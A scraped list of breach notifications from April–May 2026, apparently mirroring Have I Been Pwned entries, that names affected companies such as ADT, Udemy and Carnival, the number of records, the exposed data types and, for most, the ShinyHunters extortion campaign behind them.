| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||